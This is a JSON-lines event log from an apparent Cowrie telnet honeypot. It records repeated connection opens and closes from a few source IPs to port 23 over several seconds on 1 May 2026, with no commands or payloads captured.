{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41718,"dst_ip":"159.203.135.109","dst_port":23,"session":"222677d8a6c3","protocol":"telnet","message":"New connection: 51.79.21.139:41718 (159.203.135.109:23) [session: 222677d8a6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.048073Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35006,"dst_ip":"159.203.135.109","dst_port":23,"session":"d470f7151aaf","protocol":"telnet","message":"New connection: 168.119.91.149:35006 (159.203.135.109:23) [session: d470f7151aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.054272Z"}
{"eventid":"cowrie.session.closed","duration":30.79304265975952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.076973Z","src_ip":"147.135.136.77","session":"4a1fe7d4738b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41732,"dst_ip":"159.203.135.109","dst_port":23,"session":"90376ac81ea8","protocol":"telnet","message":"New connection: 51.79.21.139:41732 (159.203.135.109:23) [session: 90376ac81ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.081598Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41740,"dst_ip":"159.203.135.109","dst_port":23,"session":"68fa084c7f41","protocol":"telnet","message":"New connection: 51.79.21.139:41740 (159.203.135.109:23) [session: 68fa084c7f41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.121209Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41754,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6448b4c30cd","protocol":"telnet","message":"New connection: 51.79.21.139:41754 (159.203.135.109:23) [session: e6448b4c30cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.205765Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56350,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ca44b4a8b94","protocol":"telnet","message":"New connection: 81.30.157.18:56350 (159.203.135.109:23) [session: 5ca44b4a8b94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.416935Z"}
{"eventid":"cowrie.session.closed","duration":30.343480825424194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.532503Z","src_ip":"168.119.91.149","session":"600871672811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56378,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e5670e06b8d","protocol":"telnet","message":"New connection: 81.30.157.18:56378 (159.203.135.109:23) [session: 0e5670e06b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.602611Z"}
{"eventid":"cowrie.session.closed","duration":31.371877670288086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.742740Z","src_ip":"168.119.91.149","session":"27c761a9d30e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43978,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf8cf9b9447","protocol":"telnet","message":"New connection: 147.135.136.77:43978 (159.203.135.109:23) [session: abf8cf9b9447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:57.941037Z"}
{"eventid":"cowrie.session.closed","duration":30.64733123779297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.042102Z","src_ip":"147.135.136.77","session":"e85a9799825f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952685356140137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.050688Z","src_ip":"81.30.157.18","session":"df28cb883a08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00802755355835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.055044Z","src_ip":"51.79.21.139","session":"a9039d01621a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.924943685531616,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.087140Z","src_ip":"147.135.136.77","session":"899a8af33746","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43914,"dst_ip":"159.203.135.109","dst_port":23,"session":"010fe13078a6","protocol":"telnet","message":"New connection: 147.135.136.77:43914 (159.203.135.109:23) [session: 010fe13078a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.116988Z"}
{"eventid":"cowrie.session.closed","duration":30.236344814300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.146134Z","src_ip":"51.79.21.139","session":"3e15805d4107","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43990,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba485f846877","protocol":"telnet","message":"New connection: 147.135.136.77:43990 (159.203.135.109:23) [session: ba485f846877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.223035Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56404,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b485683c298","protocol":"telnet","message":"New connection: 81.30.157.18:56404 (159.203.135.109:23) [session: 3b485683c298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.308597Z"}
{"eventid":"cowrie.session.closed","duration":30.8687903881073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.331285Z","src_ip":"147.135.136.77","session":"965d553df123","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44000,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca2b3cdfa3a","protocol":"telnet","message":"New connection: 147.135.136.77:44000 (159.203.135.109:23) [session: eca2b3cdfa3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.367365Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44020,"dst_ip":"159.203.135.109","dst_port":23,"session":"4db5167fc98d","protocol":"telnet","message":"New connection: 147.135.136.77:44020 (159.203.135.109:23) [session: 4db5167fc98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.649074Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44042,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce1022d3683f","protocol":"telnet","message":"New connection: 147.135.136.77:44042 (159.203.135.109:23) [session: ce1022d3683f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.778039Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35030,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe02a77d478","protocol":"telnet","message":"New connection: 168.119.91.149:35030 (159.203.135.109:23) [session: bfe02a77d478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.814376Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56426,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c7d95d65acc","protocol":"telnet","message":"New connection: 81.30.157.18:56426 (159.203.135.109:23) [session: 3c7d95d65acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:58.878526Z"}
{"eventid":"cowrie.session.closed","duration":30.910878896713257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.021433Z","src_ip":"51.79.21.139","session":"fe3e6ed4ab68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41780,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08226bc1069","protocol":"telnet","message":"New connection: 51.79.21.139:41780 (159.203.135.109:23) [session: d08226bc1069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.088236Z"}
{"eventid":"cowrie.session.closed","duration":30.8614182472229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.090800Z","src_ip":"147.135.136.77","session":"aabe70310ec5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.349847555160522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.142103Z","src_ip":"51.79.21.139","session":"cc0e252432c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80827260017395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.157668Z","src_ip":"51.79.21.139","session":"fc609c252952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36086,"dst_ip":"159.203.135.109","dst_port":23,"session":"3342f3593dab","protocol":"telnet","message":"New connection: 168.119.91.149:36086 (159.203.135.109:23) [session: 3342f3593dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.241645Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56444,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6cf810917c4","protocol":"telnet","message":"New connection: 81.30.157.18:56444 (159.203.135.109:23) [session: a6cf810917c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.307112Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36102,"dst_ip":"159.203.135.109","dst_port":23,"session":"7487381355aa","protocol":"telnet","message":"New connection: 168.119.91.149:36102 (159.203.135.109:23) [session: 7487381355aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.364074Z"}
{"eventid":"cowrie.session.closed","duration":30.442667484283447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.518811Z","src_ip":"168.119.91.149","session":"3490bf5ebbea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67116951942444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.523268Z","src_ip":"168.119.91.149","session":"815c8518f53e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41804,"dst_ip":"159.203.135.109","dst_port":23,"session":"34bbc50a6209","protocol":"telnet","message":"New connection: 51.79.21.139:41804 (159.203.135.109:23) [session: 34bbc50a6209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.619997Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36140,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6747fbfabb1","protocol":"telnet","message":"New connection: 168.119.91.149:36140 (159.203.135.109:23) [session: d6747fbfabb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.724556Z"}
{"eventid":"cowrie.session.closed","duration":31.133740186691284,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:59.865519Z","src_ip":"37.187.24.227","session":"5764e9dc3648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001906156539917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.016545Z","src_ip":"51.79.21.139","session":"c5ab5bb9ad59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41820,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5b07e80def8","protocol":"telnet","message":"New connection: 51.79.21.139:41820 (159.203.135.109:23) [session: d5b07e80def8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.041833Z"}
{"eventid":"cowrie.session.closed","duration":30.446343898773193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.058245Z","src_ip":"147.135.136.77","session":"6ce8e48486cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":33786,"dst_ip":"159.203.135.109","dst_port":23,"session":"98178840553d","protocol":"telnet","message":"New connection: 85.208.100.77:33786 (159.203.135.109:23) [session: 98178840553d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.216982Z"}
{"eventid":"cowrie.session.closed","duration":31.01165270805359,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.230842Z","src_ip":"147.135.136.77","session":"25098ca495c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56454,"dst_ip":"159.203.135.109","dst_port":23,"session":"596ee318d3b2","protocol":"telnet","message":"New connection: 81.30.157.18:56454 (159.203.135.109:23) [session: 596ee318d3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.417122Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44076,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de001d441c2","protocol":"telnet","message":"New connection: 147.135.136.77:44076 (159.203.135.109:23) [session: 9de001d441c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.487402Z"}
{"eventid":"cowrie.session.closed","duration":30.822625160217285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.499204Z","src_ip":"168.119.91.149","session":"b594e448f0ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11858105659485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.527318Z","src_ip":"168.119.91.149","session":"d61be87fbb3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274333000183105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.578910Z","src_ip":"81.30.157.18","session":"e7f4b6249aa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36166,"dst_ip":"159.203.135.109","dst_port":23,"session":"cda5c1cb2f30","protocol":"telnet","message":"New connection: 168.119.91.149:36166 (159.203.135.109:23) [session: cda5c1cb2f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:00.880915Z"}
{"eventid":"cowrie.session.closed","duration":30.88714098930359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.037036Z","src_ip":"51.79.21.139","session":"62bf3b035a6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794084787368774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.042043Z","src_ip":"147.135.136.77","session":"0b8e2eac27d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44106,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae7234b2f3d8","protocol":"telnet","message":"New connection: 147.135.136.77:44106 (159.203.135.109:23) [session: ae7234b2f3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.193519Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44108,"dst_ip":"159.203.135.109","dst_port":23,"session":"567386c0a640","protocol":"telnet","message":"New connection: 147.135.136.77:44108 (159.203.135.109:23) [session: 567386c0a640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.199397Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36192,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd7c919368f","protocol":"telnet","message":"New connection: 168.119.91.149:36192 (159.203.135.109:23) [session: ebd7c919368f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.229188Z"}
{"eventid":"cowrie.session.closed","duration":31.496964931488037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.354992Z","src_ip":"168.119.91.149","session":"be3f363a0875","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15065622329712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.498124Z","src_ip":"168.119.91.149","session":"ecac454d8efe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682058811187744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.548929Z","src_ip":"51.79.21.139","session":"e3a7078da40b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.295287609100342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.740293Z","src_ip":"147.135.136.77","session":"d051756e8b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36254,"dst_ip":"159.203.135.109","dst_port":23,"session":"192a883b5152","protocol":"telnet","message":"New connection: 168.119.91.149:36254 (159.203.135.109:23) [session: 192a883b5152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:01.848139Z"}
{"eventid":"cowrie.session.closed","duration":30.201094388961792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.011411Z","src_ip":"51.79.21.139","session":"1391777f7e7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41836,"dst_ip":"159.203.135.109","dst_port":23,"session":"af0805bd630d","protocol":"telnet","message":"New connection: 51.79.21.139:41836 (159.203.135.109:23) [session: af0805bd630d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.030401Z"}
{"eventid":"cowrie.session.closed","duration":30.55087423324585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.043365Z","src_ip":"51.79.21.139","session":"292978b3f9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491541147232056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.053813Z","src_ip":"81.30.157.18","session":"be12a64680ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56596,"dst_ip":"159.203.135.109","dst_port":23,"session":"13444df4cb32","protocol":"telnet","message":"New connection: 81.30.157.18:56596 (159.203.135.109:23) [session: 13444df4cb32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.120700Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36296,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e1db346a618","protocol":"telnet","message":"New connection: 168.119.91.149:36296 (159.203.135.109:23) [session: 7e1db346a618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.139319Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56608,"dst_ip":"159.203.135.109","dst_port":23,"session":"513e2a76a175","protocol":"telnet","message":"New connection: 81.30.157.18:56608 (159.203.135.109:23) [session: 513e2a76a175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.146398Z"}
{"eventid":"cowrie.session.closed","duration":31.080833911895752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.169204Z","src_ip":"147.135.136.77","session":"49e0bb42e523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41848,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1471e3caf28","protocol":"telnet","message":"New connection: 51.79.21.139:41848 (159.203.135.109:23) [session: e1471e3caf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.184734Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44172,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3e93b90dddf","protocol":"telnet","message":"New connection: 147.135.136.77:44172 (159.203.135.109:23) [session: e3e93b90dddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.320674Z"}
{"eventid":"cowrie.session.closed","duration":31.295260667800903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.402042Z","src_ip":"51.79.21.139","session":"5ab9b02bf370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41898,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6fb46e3379f","protocol":"telnet","message":"New connection: 51.79.21.139:41898 (159.203.135.109:23) [session: b6fb46e3379f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.416325Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56624,"dst_ip":"159.203.135.109","dst_port":23,"session":"6938c6e4a1b3","protocol":"telnet","message":"New connection: 81.30.157.18:56624 (159.203.135.109:23) [session: 6938c6e4a1b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.446429Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36308,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a6d69573435","protocol":"telnet","message":"New connection: 168.119.91.149:36308 (159.203.135.109:23) [session: 8a6d69573435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.595833Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":36314,"dst_ip":"159.203.135.109","dst_port":23,"session":"c976b214798e","protocol":"telnet","message":"New connection: 168.119.91.149:36314 (159.203.135.109:23) [session: c976b214798e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.705085Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":44224,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3aac97af6b1","protocol":"telnet","message":"New connection: 147.135.136.77:44224 (159.203.135.109:23) [session: c3aac97af6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.770011Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33708,"dst_ip":"159.203.135.109","dst_port":23,"session":"87fb1228a56a","protocol":"telnet","message":"New connection: 149.102.133.101:33708 (159.203.135.109:23) [session: 87fb1228a56a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:02.937764Z"}
{"eventid":"cowrie.session.closed","duration":30.58633065223694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.024256Z","src_ip":"51.79.21.139","session":"835c86adce0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51827645301819,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.041783Z","src_ip":"147.135.136.77","session":"4b8e18649905","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19546365737915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.068841Z","src_ip":"147.135.136.77","session":"d17b47a616fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77938199043274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.077251Z","src_ip":"147.135.136.77","session":"c672269ba8ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41916,"dst_ip":"159.203.135.109","dst_port":23,"session":"95e06853d56c","protocol":"telnet","message":"New connection: 51.79.21.139:41916 (159.203.135.109:23) [session: 95e06853d56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:03.088465Z"}
